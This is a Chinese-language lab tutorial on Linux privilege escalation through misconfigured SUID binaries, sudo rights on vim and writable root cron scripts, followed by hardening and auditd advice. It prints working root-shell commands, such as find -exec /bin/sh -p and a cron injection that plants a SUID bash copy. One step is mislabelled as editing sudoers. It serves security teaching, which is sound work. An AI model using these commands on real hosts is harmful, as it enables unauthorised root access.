ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Linux基础提权实战:SUID、Sudo与计划任务漏洞利用

Linux基础提权实战:SUID、Sudo与计划任务漏洞利用

1. 项目概述:靶场环境中的基础提权实践

在渗透测试和安全研究领域,提权(Privilege Escalation)始终是攻防对抗的核心战场。这个靶场项目聚焦于最基础的提权技术实现,特别适合刚接触安全领域的新手理解权限提升的本质逻辑。不同于复杂的漏洞利用,这里演示的是系统配置不当导致的经典提权场景,通过实际操作感受从普通用户到root权限的跨越过程。

我搭建这个靶场的初衷,是发现很多初学者在接触提权概念时,往往被各种漏洞利用工具绕晕了方向,反而忽略了最基本的权限提升原理。这个环境刻意简化了技术复杂度,只保留最核心的提权路径,让学习者能够专注于理解权限边界的突破方式。接下来我们将从SUID、sudo配置、计划任务三个最基础的提权维度展开实战。

2. 环境准备与基础检测

2.1 靶机系统配置

我们使用Ubuntu 20.04 LTS作为实验环境,故意设置了以下易受攻击的配置:

  • 创建普通用户testuser并设置弱密码
  • 保留默认安装的vim、find、bash等工具
  • 故意配置错误的sudo权限
  • 设置存在权限问题的计划任务

检测当前用户权限的基础命令:

whoami # 显示当前用户 id # 查看用户ID和组信息 pwd # 确认当前工作目录

2.2 信息收集技术

在开始提权前,系统信息收集至关重要:

# 查看内核版本和系统架构 uname -a # 列出所有用户 cat /etc/passwd # 查看安装的软件包 dpkg -l # 检查网络服务 netstat -tulnp

特别要注意的是/etc/crontab中的计划任务配置,以及/etc/sudoers文件中的权限分配,这些往往是提权的突破口。建议使用自动化检测脚本:

find / -perm -4000 2>/dev/null # 查找SUID文件 sudo -l # 检查sudo权限

3. SUID提权实战

3.1 SUID机制原理

SUID(Set User ID)是Linux的特殊权限标志,它允许用户以文件所有者的权限执行程序。当系统管理员不当配置某些可执行文件的SUID位时,就可能产生提权漏洞。

典型的危险SUID程序包括:

  • /bin/bash
  • /usr/bin/find
  • /usr/bin/vim
  • /usr/bin/awk
  • /usr/bin/nmap

3.2 利用find命令提权

假设我们发现/usr/bin/find具有SUID权限:

find / -perm -u=s -type f 2>/dev/null

利用find执行特权命令:

touch testfile find testfile -exec whoami \; # 显示命令执行者 find testfile -exec /bin/sh -p \; # 获取root shell

注意:现代Linux系统通常会对关键命令去除SUID位,但某些定制系统中仍可能发现这类配置错误。

4. Sudo配置不当提权

4.1 Sudo权限检测

检查当前用户的sudo权限:

sudo -l

如果显示(ALL : ALL) NOPASSWD: ALL这种极端配置,直接运行:

sudo su

但更常见的是特定命令的sudo权限滥用,例如:

User testuser may run the following commands on target: (ALL) NOPASSWD: /usr/bin/vim

4.2 通过vim突破权限

利用vim的sudo权限提权:

sudo vim /etc/shadow # 直接查看密码文件

或者在vim中执行命令:

:!whoami :!bash

更隐蔽的方法是修改sudoers文件:

:set shell=/bin/sh :shell

5. 计划任务提权

5.1 查找可写计划任务

检查系统计划任务:

ls -la /etc/cron* cat /etc/crontab

寻找以root身份运行且用户可写的脚本,例如:

* * * * * root /scripts/backup.sh

5.2 注入恶意命令

如果发现/scripts/backup.sh可写:

echo "cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell" >> /scripts/backup.sh chmod +x /scripts/backup.sh

等待计划任务执行后:

/tmp/rootshell -p

6. 防御措施与加固建议

6.1 系统加固方案

  1. SUID管理:
# 查找并审查所有SUID文件 find / -perm -4000 -exec ls -ld {} \; # 移除不必要的SUID位 chmod u-s /path/to/file
  1. Sudoers配置原则:
  • 遵循最小权限原则
  • 避免使用NOPASSWD选项
  • 定期审计sudo权限
  1. 计划任务安全:
# 设置正确的文件权限 chown root:root /etc/crontab chmod 600 /etc/crontab # 使用incron监控关键目录变更

6.2 安全监控手段

部署入侵检测系统监控:

  • SUID/SGID文件变更
  • /etc/sudoers文件修改
  • 计划任务目录的写入行为

使用auditd进行细粒度审计:

# 监控特权命令执行 auditctl -a always,exit -F arch=b64 -S execve -k privileged

7. 扩展思考与进阶路径

完成基础提权实践后,建议继续探索:

  1. 内核漏洞提权:研究脏牛(Dirty Cow)等经典内核漏洞
  2. 服务提权:利用MySQL、Redis等服务配置不当提权
  3. 容器逃逸:在Docker环境中突破隔离限制

自动化检测工具推荐:

  • LinPEAS:全面的Linux提权检测脚本
  • Linux Exploit Suggester:内核漏洞建议工具
  • GTFOBins:记录各种二进制文件的提权方法

我在实际渗透测试中发现,约60%的成功提权都源于这类基础配置错误而非复杂漏洞。理解这些基本原理后,再学习高级漏洞利用会事半功倍。建议每次提权成功后,都花时间分析漏洞根源,这对构建防御思维同样重要。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进